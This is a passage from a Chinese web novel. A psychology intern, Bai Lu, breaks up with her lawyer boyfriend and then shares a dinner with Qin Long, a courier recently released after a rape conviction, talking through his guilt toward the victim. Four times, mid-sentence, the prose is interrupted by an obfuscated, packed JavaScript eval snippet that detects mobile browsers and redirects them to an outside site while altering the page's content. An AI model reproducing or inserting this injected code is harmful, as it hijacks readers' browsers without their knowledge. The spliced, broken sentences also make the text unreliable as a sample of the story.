乔明杰没先前那反应了,他看向她,颔首坦诚:“有啊,只不过不多。” 白鹿:“哦。” 他见她反而弱了,好奇:“你为什么问这个?” 白鹿摇头:“没什么,随口一问。” 乔明杰:“……” 过了会儿,白鹿斟酌一番,继续刚才的话题:“你知道强.奸罪被判刑四年的,大概的犯案程度是怎样的?” 乔明杰在喝水,再次被她的突兀问题呛噎了一口,清了清嗓子后问:“谁被判刑四年了?” 白鹿眨了眨眼,快速糊弄过去,“我们咨询所,一个来访者不肯说明情况,所以我想问问你。” 乔明杰用手抵了抵眼镜,换上专业的姿态,给她分析:“犯强.奸罪的,都得判三年以上十年以下,情节严重的有无期也有死刑。不过你说的这种年限,应该算是最普遍的,属于纯粹身体上的侵犯,也没有其他复杂的因素加在里面。” 看来是分析不出什么了,白鹿紧接着又问:“强.奸罪会有冤案吗?” 这话问出来,白鹿自己也傻了,她怀疑前一刻脑袋抽筋了。 乔明杰自然是略作吃惊:“啊?不会有,法庭上绝不会冤枉一个好人,也绝不会轻惩一个坏人。” 白鹿尴尬一笑低下头,掩饰着喝水。 她想,她大概是被1025困糊涂了,否则怎么会有种替他脱罪的想法。 她换上表情,再次抬头,朝对面的人微微一笑。 他们开始聊其他的。 餐点上齐了,俩人安静地用餐。 乔明杰一边切牛排,一边时不时用观赏的表情看向白鹿。 白鹿微皱眉,低头看着盘中,嘴里问:“你想说什么话吗?” 乔明杰开门见山:“我在想,我们之间的关系,有没有更进一步的空间。” 白鹿握着刀叉的手微微一顿,很快又动起来,反问:“怎么样的更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849973|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进一步?” 乔明杰知道她听懂了,说得更加细致些,语气也正式:“白鹿,我们认识半年多了,我知道前段时间忙没怎么顾到你,可能让你心里不太平衡。现在,我工作上有了变化,我打算合伙开事务所,我看你也快毕业了,要不从学校出来,咱俩住到一起吧……” 他话说到这里慢下来,静待她的反应,白鹿也渐停了手上的动作,抬头不明所以地审视他。 半晌,她往嘴里塞了块肉,语气不咸不淡:“我喜欢住在学校。” 乔明杰碰了冷钉子,抿了抿唇,继续试探:“你总得毕业的,毕业后住哪儿呢?” 姑姑家在城西,离学校城东这边有不少距离,白鹿不可能永远住在家里。 毕业之后的打算,她早已经规划好,到时候租个房子,给自己装饰一个单身公寓。 她没改变自己早就定好的想法:“我会找房子。” 乔明杰错愕:“你不跟我一块吗?你找房子住还得多花开销。” 白鹿很果决地摇头:“我找的房子是我的家,你说的是你的家。” 她没了父母,寄住于姑姑家,想要拥有一间属于自己的房子,这一直是她最简单的愿望。 她将“我”跟“你”两个称呼分得很清楚,这让乔明杰有些尴尬,轻咳一声道:“我以为你是一个性格比较软的女孩子,没想到你还挺独立的。” 白鹿瞥他一眼,“那是因为你还不了解我。” 乔明杰先前的想法被她削弱,不死心地再问一次:“真的不考虑我说的吗?” 白鹿回应给他的是摇头。 一顿午饭在沉默不和谐的气氛下吃完。 出去后,白鹿吃得有些饱,她不太习惯吃西餐,但也没想过浪费,所以肚子有些撑着难受。 乔明杰示意送她回去,白鹿摆摆手:“不用,地方不远,我正好走路消化消化,谢谢你请的午饭。” 乔明杰:“你客气了。如果你喜欢,我明天再找你。” 白鹿被这话闪了正在运动的腰,她张张嘴迟钝下来,先前脑海中的想法愈加鲜明。 她对自己说,时间不等人,时间不能拖,不能因为他请客我就心软了。 白鹿朝他走近一步,喊:“乔律师!” 乔明杰回头:“嗯?” “我们分开吧。”白鹿很平静地说,“我相信你也有这种感觉,我们之间没有火花不是吗?其实比起男女朋友,我们更适合做普通朋友。” 乔明杰愣了好一会儿,才找回表情跟声音:“是不是我哪儿做得让你不满意了?” 白鹿觉得说出来心情畅快不少,她摇头:“不是,不是我的原因,也不是你的原因,原因是因为咱俩凑不成我们。” * 白鹿说出那番解释的话,她自己也想了许久,问题归根结底并不是他们不合拍而分开,而是他们压根就没尝试过合拍。 恋人分手是从彼此的生活中脱离,他俩分开是因为没能融入双方的生活。 白鹿不知道乔律师有没有听懂,但她已经表达了自己的想法,他多少也能感受到。 可是,当天傍晚回校路上,她便觉得麻烦来临了。 姑姑打来了电话。 白鹿预感到会是什么,本能地不想接,塞到口袋等自动挂断,但很快第二个电话又紧接着催起来。 她抓挠着头,心知躲不过去,拿出来眼一闭接了。 白鹿抢先解释:“姑姑,我是真的不喜欢他,你尊重我的选择好吗?你说的那一套我都懂,但是我有判断力,我有眼力,我是学心理的,感觉对我来说真的很重要……” “是白鹿吗?”对方打断她,是一个男声,似乎忍了这些时间。 “……”白鹿将手机拿下来,看见的是一个完全陌生的号码,“你是谁啊?” “你有快递,5号宿舍楼下,六点之前来拿走。” 白鹿:“……” 11. 第十一章 白鹿挤在地铁上面,耳边带过阵阵风声。 她拿起手机查网购账户,这才想起自己上回在某品牌搞活动时,买过一套内衣。 当时发货日子延迟,她也就暂时没放在心上,这会儿想起来,只想给物流公司一个差评。 从本市寄出,竟然用了整整四天时间。 出了地铁,在二号大街口转。 她看了看时间,在六点前步行到校绰绰有余,于是掏出手机边走边给姑姑回电。 白慧婕那边也正等着她,一开口便是质问:“你跟小乔说不合适分开了?” 白鹿闭了闭眼,小乔这称呼每一次听,都让她无法不往女性方面想。 她没争辩的心思:“嗯,他跟你说了。” “你还真的……”白慧婕想指责什么,却说不出来,只道,“你以后会后悔的。” 白鹿坚定道:“我不会后悔。” 白慧婕知道她脾气硬,语气软下来劝:“鹿鹿,姑姑这是为你好。” 白鹿说:“我知道,姑姑,我不找男朋友照样过得好。” 白慧婕不解:“你的意思是找男朋友还给你添麻烦了?” 白鹿想了想,认真回答:“那得看是主动还是被动,如果我处于主动的一方,我上赶着也给人贴热脸,如果是相反的,换人家十个热脸我也提不上劲。” 白慧婕被她的话惊到了,有些不敢置信:“鹿鹿,姑姑一直以为你是个矜持的姑娘。” 白鹿又说:“矜持是看对待谁,有些人矜持是给喜欢的人看,我矜持完全是因为没兴趣。” “……” 白慧婕彻底没话说了。 年轻人的世界,她想真的没法懂了。 * 白鹿走进宿舍生活区,傍晚时分人来人往。 有下楼打包饭菜的,有出门约会吃饭的,也有宅男宅女出来拿快递的…… 高校内的快递向来不间断,为了方便管理派件,宿管委让快递员统一在五号楼下面进行。 五号楼在生活区门口第一幢,白鹿直接往那儿走,眼睛往两边看去,有两家正摆着件等人来拿。 她先前看过物流公司,知道是左边那一家。 送货的小三轮停靠在边,有两个女生刚认领完迎面走来,后面的快递员重新在地上摆着件。 白鹿视线扫过去,那儿只剩一件。 毫无疑问,那应该就是她的,用黑色袋子裹着方正纸盒子的就是了。 送件的男人戴着深蓝色棒球帽,后脑勺露秃,上身穿着统一样式的制服,宽大又厚实。 他蹲在地上,一手捏着烟在抽,另一手握着手机不知在看什么。 白鹿从侧面看不清对方的样貌,他的下半张脸拢在竖起的衣领内,上方眉眼全被帽檐给挡住了。她带着适当的好奇心走近,声音落到男人头顶:“拿快递。” 男人按键的手指一顿,手机被收了起来,他动作很慢,抓住快递袋子拎起来,起身时问她:“什么名字?” 白鹿的目光随着男人由下往上,她只觉得这男人嗓音低沉,听在耳中有某种性感的力道。 “白鹿。”她说。 男人挺背站直,终于抬头,帽檐下的一张脸完全显露出来,白鹿探究的表情瞬时僵住。 她还没想出眼前的人叫什么,那股熟悉的对视感率先涌上心头。 曾经的一面强烈地冲击着她的感官。 那一瞬,她便想起来了,与几个月前的惊鸿一瞥相重合。 白鹿算了算今天的日子,是啊,已经过去一个多月了。 他出来有多久了,几天?一星期? 她想说什么却没有问,眼睁睁地看着近在咫尺高她快一个头的男人,她想听他说下一句。 秦龙同样安静地盯视她,双眼漆黑深沉,跟她面对面站了几秒,两人都未说话,彼此间的空气仿佛凝滞了。 他首先做出反应,低眸扫了眼手上的袋子,往她跟前一递:“拿着。” 简短有力的两个字,听得白鹿心头一跳。 她顺从地托起双手,将袋子接过来,双眼从头至尾没离开过对方的脸上,不待他回头去忙事情,首先问出一句: “你什么时候出来的?” 这话一出,两人之间的气氛瞬间变了。 白鹿细致地观察到男人的眉头轻微一蹙,一闪即逝。 秦龙刚侧过的脸转回来,偏头回视她,眼神已然变了,换成锐利的凝视,警惕,怀疑,探测,顿悟,最后慢慢归为平静。 白鹿没去细究他的心理变化过程,反而期待他能多说几个字,他不可能对她的名字没印象。 下一刻,男人迟缓地点了点头,客气疏离道:“真巧!” 这个先后给她写了三封求助信的男人,在见面的这一刻格外镇定地对她说了句“真巧”。 白鹿心底无声评价三字:真闷骚。 闷骚男人手里还夹着烟,从白鹿过来后他没再抽一口,这会烟头快燃到指尖,他感应到后低下头,顺势松手扔在地上,用鞋尖来回磨了磨,火头即刻被踩灭。 白鹿跟着他的动作看,忽然觉得这支烟真可怜。 完了,他抬头,她也抬头,两人视线再次对上。 他接着刚才她的问话,回答:“一周前。” 白鹿点点头,问他:“没写信?” 他顿了顿,反问:“你怎么认出我的?” “我眼神好,过目不忘。” 他张了张嘴,补充道:“我是问你怎么知道写信的人是我?” 总算是有点谈话的意思了,白鹿弯起嘴角:“我就是知道啊。” 她说这话的时候,带着熟人朋友间的亲密自然,仿佛他是她很久未见的一个老友,此刻不过是寒暄,这一点连白鹿自己都没意识到。 秦龙没话说了,他被她持续看得有些发毛,眼神轻轻带过,去看旁边不时经过的一群人,站姿依旧挺拔如初,在她面前丝毫不显得拘谨。 白鹿将他从头到脚打量一遍,问:“找到工作了?” 他头还转开着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849974|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“嗯。” 她点头:“不错的,就是看着有点累。” 他手摸向口袋,呼出口气:“不累。” 白鹿随之低头看向他裤间,整个拳头塞在里面,鼓起饱满的一团,她好奇他在掏什么东西。 不一会,掏出一沓派送联,他走回小三轮边,顾自在核对,没再搭理她。 白鹿知道自己该识趣地走开了,但她还记得有一桩事情要问他,所以安静地原地等待着。 在等的时间段内,她也掏出手机,打开网页,看物流派送的信息条。 上方有派件员的名字和手机号。 号码她手机里已经有了,名字叫秦龙。 秦龙,龙哥,果然是他。 白鹿抬头看一眼他的背影,自我肯定地点头,下一刻便存起号码来。 她想,这名字还真有大哥的风范。 只不过,他这个人将自己掩饰过多,某些气质明显被他刻意压下去了。 白鹿将手机揣进衣兜,见他还在忙碌,而她手头端着快递也有点酸累,黑色袋子滚过多少遍都不知道,表面细菌横生脏乱腻手,想到反正里面还有盒子包装,她果断将袋子撕扯开来。 撕的过程中,目光不经意扫过快递单上的收件人信息处,白鹿猛地怔住,再而仔细地看,下一刻想咬碎了牙。 神奇卖家竟然将她的罩杯尺寸颜色详细地印在了地址栏下,除此之外,还有她当时的留言:请不要搞错大小,谢谢! 这一刻,白鹿简直想怒摔,他打了她的电话,不可能眼神差到没看见这么醒目的一行字。 换做平常,白鹿遇到这种情况,也就掩面迅速撤离了。 但,这个人不一样,他刚才看她的眼神中,丝毫没有掺杂玩味的兴致。 如果说丢脸,她早就丢大发了,也不在乎接下去的。 白鹿一边狠狠地想着,一边泄愤似的用力撕包装袋。 她四周望一眼,瞥见左边不远处有垃圾桶,过去将破烂的袋子往里塞。 秦龙看见她走过去,从那边望过来,问:“你扔什么?” “扔袋子。”她现在不敢看他。 余光里,他走了过来,制止道:“电话名字都在上面,就这么扔了,你不注重隐私吗?” “嗯?”白鹿一时没想到,她侧头,“那我该怎么办?” 事后回想,她当时脑子短路,还是他比较理智,将袋子重新抽出来,手头的笔在纸上乱划一通,立刻覆上一层厚厚的阴影。 白鹿的脸有微微的红,他一定再次看到了上面的字。 秦龙动作很快,到彻底看不清姓名跟号码,他利落往垃圾桶一扔,事情了结了。 他回头看白鹿,她抱着盒子低头站,一副神游的姿态。 “还不走?”他抬下巴提醒她。 白鹿听见他说话,缓缓抬头,过了刚才的羞臊期,她问:“你送完了,下班了吧,有时间吗?” 他没说话,抿唇看她,等她下一句话。 “请我吃饭吧。” 12. 第十二章 白鹿跟自己打赌,这个请求他一定接受。 事实证明,她赢了。 当然,她也给了解释,她想跟他找个地方谈话。 回头想,如果她说的是“我请你吃”,最后结果一定相反。 虽然,这是她最初冒出的念头。他多年后出来,与外面社会脱离已久,她在某一瞬心生同情,想要接济他。 不过以她短时的观察来看,这个男人的尿性,不会接受任何人的帮助和怜悯。 反过来再想,一顿吃的而已,谁请都一样,破不了产。 她不过是想趁时间多了解这个人,好让她有点内容可以揣摩分析。 但同时,她又不能表现得太刻意。 他这人,警惕性高,话少,脑子想得很明白。 白鹿有些怕给这样的人做咨询,一来他们会用反心理战术,二来她自己堆砌的心理防线也会崩塌。她经验不足,在某些必要时刻需要装逼,她怕被拆台。 * 从生活区出去,拐了个弯,附近一条巷内皆是餐馆小吃、露天烧烤,各种食物香味迎面扑鼻。 他们刚才聊天那会儿,天色已经朦胧,没一会功夫完全擦黑,街灯招牌高高亮起。 秦龙将小车弃在生活区门口,但身上的衣服没脱,醒目地标志着他的职业。 白鹿没觉得哪儿别扭,她跟他穿梭在人来人往的巷内,边走边挑吃饭的地儿。 白鹿大学四年,这儿每处都来吃过,对哪家有什么特色菜非常熟悉。她自己无所谓,于是问他:“你想吃什么?” 秦龙淡视一眼,说:“我请你吃,你做主。” 他倒是客气,将选择权推给她。 白鹿没有推脱,她不喜欢纠结地绕来绕去,脚步方向明确了,直接走进右边一家生煎馆。 秦龙跟上她,前后进去,到了柜台边驻足,两人一齐看墙上的菜单。 白鹿率先报上:“我要一碗牛肉面,小碗的不要葱。” 收银员问:“要加辣吗?” “不要辣。” “好。” 白鹿点完,站到一边,等着看他点。 秦龙似乎没来过这种地儿,仰头将整一面的菜单都看过来了,久到收银员都干愣站着。 最后他说:“我跟她一样。” 白鹿差点没忍住,嘴角飘着浅笑,替他补充:“他要大碗的。” 收银员又例行问:“加辣吗?” 白鹿看他。 秦龙点点头:“可以。” “好。还需要别的吗?” “再来份虾肉生煎。”他顿一下,问白鹿,“你能吃吗?” 白鹿不假思索,微笑点点头。 秦龙说:“那就上两份。” 收银员:“好。”开始出账单。 白鹿:“……” 白鹿忘了解释,她说能吃是只能接受吃一个。 一份四个,她怕胃撑。 一碗面加上彼此一份生煎包,他算得很平均,两人互不干涉。 秦龙掏钱准备付账,白鹿没有等他,转身去找餐桌位置。 正是饭点时刻,边上靠墙的座位全被占了,只剩中央隔间几桌已走人却没空收拾的。 白鹿等了会儿,服务员过来收盘擦桌,她选了张二人桌坐下。 桌板面积小,边角放了醋和辣油。 白鹿坐下的时候,才发现自己还捧着内衣盒子,很是碍手,幸亏纸盒子是纯色,没印任何品牌字体,她摆到桌边立起来。 白鹿支手托下巴,另一手指敲着桌面,有节奏地等待着。 她往柜台方向望去,又进来不少食客,但秦龙的衣着相当显眼,加之身材高大,一眼便能认出来。 他戴着帽子,侧脸冷静,似乎从刚才见到起,就没有多余表情。 白鹿内心想,表情管理满分的人往往情商不低。 跟这样的人沟通,她得打持久的心理战。 想到这,她又有些不解,他为什么还需要心理咨询,他是怎么想到要心理咨询的。 对着桌面发呆的时候,秦龙过来了,他手上拿着托盘,面还没来,里面两碟生煎,加上空碟和勺子筷子。 白鹿刚要接筷子,想起先前摸过袋子,手上脏,没办法先吃。 她放下包起身,朝他说:“我去洗个手,你先坐着。” 他示意她自便。 白鹿抬脚走了两步,又回来提醒他看桌上:“我东西放着,帮我看管一下。” 秦龙视线跟着扫去,目光接触后,没有情绪地移开,说:“你去吧。” 白鹿瞥了他两眼,走开了,到拐弯处墙角,停下来回头观望。 秦龙坐那儿没动,人斜靠着看前方某一处,也不急着先吃起来。 她凝视了五秒钟,没看出什么,回身去洗手。 白鹿走回桌边时,从秦龙身后过来,视线低头略过,发觉他还真是壮硕,本就一般大小的座位空间,他挤得有些困难。 秦龙见她回来了,也起身说:“我去洗手。” 白鹿微微一笑。 他走了,她看向桌面,筷子有纸套包着,整齐地竖放。 牛肉面已经到了,她拿了筷子插碗里,再将勺子放上去。 接着她去拿碗碟,往里面倒一点醋,剩余一只空碟被她拿过来,专门防止吃的时候爆汁,临时搁置用的。 秦龙回来的时候,觉得哪儿不对劲,起初没察觉出来,待坐下后才知道,原来是她将桌子往那边挪了几分,他这儿变宽敞了。 白鹿人瘦,空间小点对她来说毫无影响。 她没有提起这一点,他也没有说,彼此心照不宣地互看一眼。 那种感觉很微妙。 白鹿内心波荡起来,她之前觉得这男人话少,现在连带觉得他看人的眼神也轻描淡写,但却不让人觉得随便,反而有种一眼深刻的体会。 这男人,外表看去简单随性,但她知道他内心装着不少事。 这一刻,她准备攻击。 白鹿咬着生煎,烫得下不了嘴,转而去吹面条,边捞边说:“你上次那些信,我都收到了。” 秦龙嗯了声,没有多问。 白鹿看他反应,简直怀疑那不是他写的。 “不是说出来给我写信吗?”她夹一片牛肉吃,抬眼看他,“怎么一星期了都没写?” 对面的男人似是皮糙肉厚,根本不怕烫的,大口吃着面条,在嘴里嚼两会咽下。 “出来后忙得忘记了。” 白鹿点头表示理解:“哦。” 她又问:“你一个人出来的?” 他懂她的意思:“一个人。” “自己找的工作?” “在里面找的,有就业招聘会帮忙落实。” 白鹿又点点头,手上的面条已经吹冷了,她吃一小口,想着他怎么会这么巧来学校派件。 “你们网点在哪?”她问题一连串。 他耐心解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849975|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答:“你们学校东门对面。” 白鹿记起来了,“挺近的呀。” “不远。” “每天都要来我们生活区送?” 他话又变简短了:“有就送。” 白鹿想,要是我没这快递,指不定什么时候跟他碰上呢。 “你现在住哪?”她问。 “找房子租。” 回答的时候,他也顾着吃,白鹿见他这样,忽然觉得自己像个碍事者,但她没有停止话题。 “你家人呢?还有……以前的朋友,都有联系吗?” 秦龙正欲吃下一口,筷子放下来,面条落回碗里,目光深邃地看着她:“你是想问,我有没有去找那个女孩?” 白鹿不是那个意思,但这个问题她也想知道,于是点点头。 “没有。” “你其他朋友呢?” “联系不上了。” “……” 白鹿闭了嘴,到这她就不问下去了。 这是人情世故,一个人犯了罪进去,又是多年过去,人往高处走,没多少人还会惦记着。 她想起他说过比她大一岁,那他的同龄人应该差不多都工作了,而他却荒废了最好的年华,落后了一大截。 餐馆内人声鼎沸,一眼扫过去基本全是大学生,估计这儿就属他的身份最特殊。 白鹿一边想一边安静吃面,她停了会儿,去吃生煎包,虾肉的她喜欢吃,如果换成猪肉的就不一定了。 她用筷子夹了一只去蘸醋,秦龙那边也刚巧递过来,两双筷子在醋碟里相碰,彼此动作皆是一顿。 白鹿这才想起,他刚才拿两只空碟的原因,估计是用来平均分配倒醋的,她却拿来搁食物。 她轻咳一声,想缩回手的时候,他那边率先挪开了,脸上没见半分尴尬,直接干吃了起来。 白鹿看着他塞满口,喉结上下滚动,或许吃得有些热,他的肤色更显得深了,脖颈至耳边有些汗珠沁出。 她看着也热,问他:“不把帽子摘了?” 他将她的话考虑了,没有回话,将帽檐转到脑后,继续吃起来。 很快,他的面碗要见底了,相比较起来,白鹿还只吃了一小半。 她知道时间差在哪儿,她大多时候都在欣赏他吃面的姿势。 白鹿拿起一旁的辣油,往他碗边递,说:“你喜欢吃辣,这还有。” 他头也没抬:“不需要了。” “你是本地人?” “是。” “家住哪里?” 他抬头了,第一次反问:“这也需要了解?” 白鹿知道问偏了,好奇说:“本地人很少有吃辣的。” 他解释:“在里面吃上的。” 白鹿想起上次在江司吃饭那场景,说:“我看你们在那儿吃得也不差。” “有差的也有好的。” 他吃完最后一口,啧了啧嘴,搁下筷子,闲适地看着她。 白鹿笑笑:“还是外面的口福好吧。” 他没答,下巴一昂,指着她面碗,“光顾着说了,你不饿?” 白鹿低眼一瞟,再看向他那边,全数吃完了,一点也没浪费。 她筷子敲着碗边,有气无力,深吸叹气:“我吃不完了,要不——” 秦龙气定神闲地靠着椅背,抱着双臂等着她说话。 白鹿眼神睇向自己剩余的两只生煎包,往他那边轻轻一推:“你帮我把它解决了。” 13. 第十三章 满厅灯光照耀,白鹿手背莹白细滑,指节纤长柔嫩,光线下显得愈加透亮。 她指尖无任何装饰,手腕处倒是戴了一串茶色佛珠,看上去样式普通,比较常见。 秦龙平淡地过了一眼,看向她推过来的,不为所动道:“你晚上就吃这么点?” 她这架势,似乎并没什么食欲。 白鹿的确胃口小,最主要是中午吃得太饱,到现在都有些撑着的难受,但她面条一定吃完,否则也不会主动点小碗,只不过会吃得很慢。 她吃得慢了,就能问他更多。 白鹿先回答他:“我晚上有时候不吃饭。” 他神色稍有诧异:“吃什么?” “吃一个苹果,或者喝稀粥。” 他稍蹙眉:“为了减肥?” 白鹿喝了一口汤:“为了保持身材。” 他看她一会儿,似在消化这种奇怪的行为思想。 “半夜饿了怎么办?” “那就吃两个苹果。” “……” 白鹿还是回到刚才那个话题:“你们那儿的食堂,长年累月都那样的菜,吃着不腻味吗?” “吃久了就习惯了。” 这话是拿来安慰自己的,论谁都想尽早摆脱,习惯只是对现实的屈服。 白鹿打量他:“我看你长得像是吃得挺好的。” 她记得上次跟着他的一个瘦猴,整个看上去就像是从没有吃饱过似的。 秦龙说:“我进去之前就长这样了。” 他就坐对面看着她,如同她刚才观看他那样的模式。只是相比她浓厚的好奇试探求知兴趣,他却是从容镇定有问必答。 白鹿想,他还挺能等。 她吃得更慢了,让他继续等。 时间仿佛过了很久,身边换了一拨拨食客,进来之前那些人基本上都走得差不多了。 今天周五,明后天没课休息,大伙儿都赶着时间看电影逛大街。 白鹿从没想到,她会跟他在这个地方吃上饭聊着天。 汤面快凉了,白鹿一口气将剩余的吃了,又喝了几口汤水暖胃。 她斜眼瞥见那两只虾肉生煎,圆滚滚地待在碟子里,闪着诱人的光泽。 秦龙顺着她的视线移过去。 白鹿舔着嘴唇边的汤汁,拿出纸巾擦了擦,眼睛看着他说:“我真的吃不下了。” 他没表态,也没说过任何话强迫她吃。 但白鹿却来了点意思,继续说:“有点浪费,你不吃吗?” 她不觉得他刚才已经吃饱了。在她的想象中,他是个能吃得下三碗大米饭的人。 秦龙右手搭在桌边,手里转着手机,这会儿铃声响起,来了电话。 他没回答她,按键接了起来。 “喂,在吃饭,嗯……好……知道了。” 匆匆几句,他挂断了。 白鹿猜测是他上级或者同事打来的,预感他要走了,不由挺直背脊问:“要回去了?” 他没那么大动作,还是慵懒地靠在那儿,点了点头。 “有急事?”她问。 “不着急。” 白鹿的心落了下来,她说:“那就再坐一会儿呗。” 他不置可否,而是接了刚才她的问题:“你这样的应该多吃点。” “你这样的”,他没说全,指的是你这样看上去瘦的人。 这句听似没有情绪起伏的话,在白鹿想来,是这个男人少有的关切了。 那他关心人的时候是什么样子,应该还要再带些表情和动作。 可他身边有朋友吗,她甚至怀疑自己是他出来后第一个遇见的“熟人”。 白鹿轻咳一声,玩着汤勺搅汤水,不经意地问:“接下去有什么打算?” 他没犹豫地答:“先找工作稳定下来。” 白鹿瞥他一眼,“关于你上次问我怎么看待……你那件事情,我觉得……” 秦龙抬眸望过来,表情带了专注。 白鹿微拧了下眉,说:“我觉得还不好说,毕竟我也不知道事件的过程是怎样的,当然你不用说我也能想象,伤害已经发生了,换做任何一个女孩子是当事人,都不会轻易原谅。” 他很认真地在听,没有做任何打断。 “她只能够靠时间忘记,也许到现在已经想不起来了,如果你没有再出现在她的面前的话。”她停顿一下,“也或者她这些年过得很痛苦,心理方面有阴影落下,那你更不应该去打扰她。你所说的补偿,在精神方面弥补不了她。” 秦龙盯着她的眼睛,内心似在考量,问:“那我需要做点什么?” “你什么都不用做,即使你出来了,你还是你,还是可以做回以前的自己。但是你内心会不好受,你仍旧关心那个女孩,想知道她现在过得怎么样了。或者说,只要对方愿意,你有对她负责一辈子的想法。” 秦龙抿唇不语,是因为白鹿说中了他的心思。 他没觉得不妥,他需要跟人沟通,她是个恰好的存在。 白鹿没等他点头承认,继续说:“真正需要心理咨询的不是你,而应该是那个女孩。当然她要是跨过了那个槛,也就没必要再去揭人家伤疤了。” 秦龙默默听着,他低下了头,声音也变轻:“我已经找不到她了。” 白鹿那一瞬没听清,过了会儿才略懂,问道:“你跟她之前是什么关系?” “同学。” “也许你可以找你们共同的同学打听。” “找过了。” “怎么说?” 他抬头:“没消息。” 白鹿安慰他:“没消息或许就是好消息,也许她的家人为了她好,离开这个地方了呢?” 他没有表示这个可能性,似乎变得沉默起来,目光出神地盯着白鹿搅动的汤水,荡开一圈圈波线。 白鹿低头松了手,有油星溅了出来,油腻腻地滴到手上,她拿纸巾擦,一边说:“你想太多不是好事,补偿这种事也要讲究两厢情愿,你单方面觉得好的,人家未必会接受。” 秦龙继续沉默,但他眼神有所飘动,似乎对她说的话很受用。 白鹿见进了状态,道:“人非圣贤,孰能无过。知错能改,善莫大焉。你走好你接下去的人生,别再犯错就行了。” 白鹿说完这些话,觉得先前吃下的消化不少,转眼又看到那两只生煎,这回突然来了食欲,想也没想地拿起筷子,夹了一只吃起来。 她自言自语:“这么会儿就有点饿了。” 她将剩余一只推给他,不知道第几次说了:“我就只能吃一个,别浪费呀,我觉得这家还挺好吃的,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849976|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后可以常来光顾。” 白鹿邀请他吃的执念太强,秦龙盯着眼前的小包子,也拾了筷子夹嘴里,一口便吞下去。 桌上最后的食物被他们均分。 白鹿还在咀嚼阶段,他已经咽下起身:“我该走了。” * 白鹿这顿饭跟秦龙聊得不少,针对上回信中的问题也做了一些沟通,不管他回去后会怎么想,她知道他最终一定想得通。 或者,这一刻,他便有些领悟了。 因为,白鹿在跟他出门的一瞬,透过外面路灯照耀的光线,观察到他脸上的表情不似先前那么凝重了。 回到生活区门口,他客气地对她说感谢。 “谢谢你跟我说这些,白小姐。” 白鹿对他说的后半句微微皱眉,他在信中这样的称呼她可以想象,但真实面对面喊出来,让她有种出乎意料的怪异。 “没关系,你有困惑,以后还是可以找我。”她指了指他的手机,他里面有通话记录。 “你在实习了?”他难得多问了点私事。 “嗯。” “那你应该有得忙,我不打扰了。” 白鹿见状忙说:“不打扰,我那闲着也是闲着,手上的案子也不是很多,况且我正好就想找你这样的案例,我手头上想写一篇论文。” 她直白交代,他听了点点头:“那好,我有空再找你。白小姐,再见!” 秦龙转身就往他那辆小车走,白鹿没由来地再一皱眉,跟着上前走两三步,喊住他:“哎,那个——” 秦龙刚坐上去,车身随动作微微一晃,他手上还未发动,侧头看过来,一张脸隐在被笼罩的暗影中。 白鹿走近,舔了舔唇,无缘无故地纠正他:“你别叫我白小姐了。” 那叫什么,秦龙没问。 他手上握着手机,手指随意按着键,闪映出白光,似乎正要给人打电话,又或者是看时间。 但他没低头看,而是等着她说明原因。 白鹿的确不习惯白小姐这个称呼,只有一般的推销电话或者办事公务人员这样叫过。 他现在是她的咨询者,她觉得应该统一下。 白鹿说:“你可以叫我白老师。” 黑暗中,秦龙眨了下眼,兴许还没反应过来,他微张着嘴,怔怔点头。 他以为她会要求他喊全名。 出于人与人之间的基本尊重,他也做了简单的自我介绍:“我叫秦龙。” 白鹿心里早就清楚,也知道是哪两个字,但她还是装作刚知道,回以微笑。 秦龙最后看她一眼,客气地点一下头,手中转动钥匙,利落拧下手把,避开门口的人群匀速驶出去。 没一会,红色的尾灯消失在夜色的车流中。 白鹿原地站了会儿,迎着早就没影的大街,她忽然想起件事情。 不是她要说的,而是一种感受,刚见面那会的感受,此刻在心底渐渐清晰明朗。 他跟在里面时不太一样了。 褪下囚服,如同解了枷锁,不受空间禁锢捆绑。 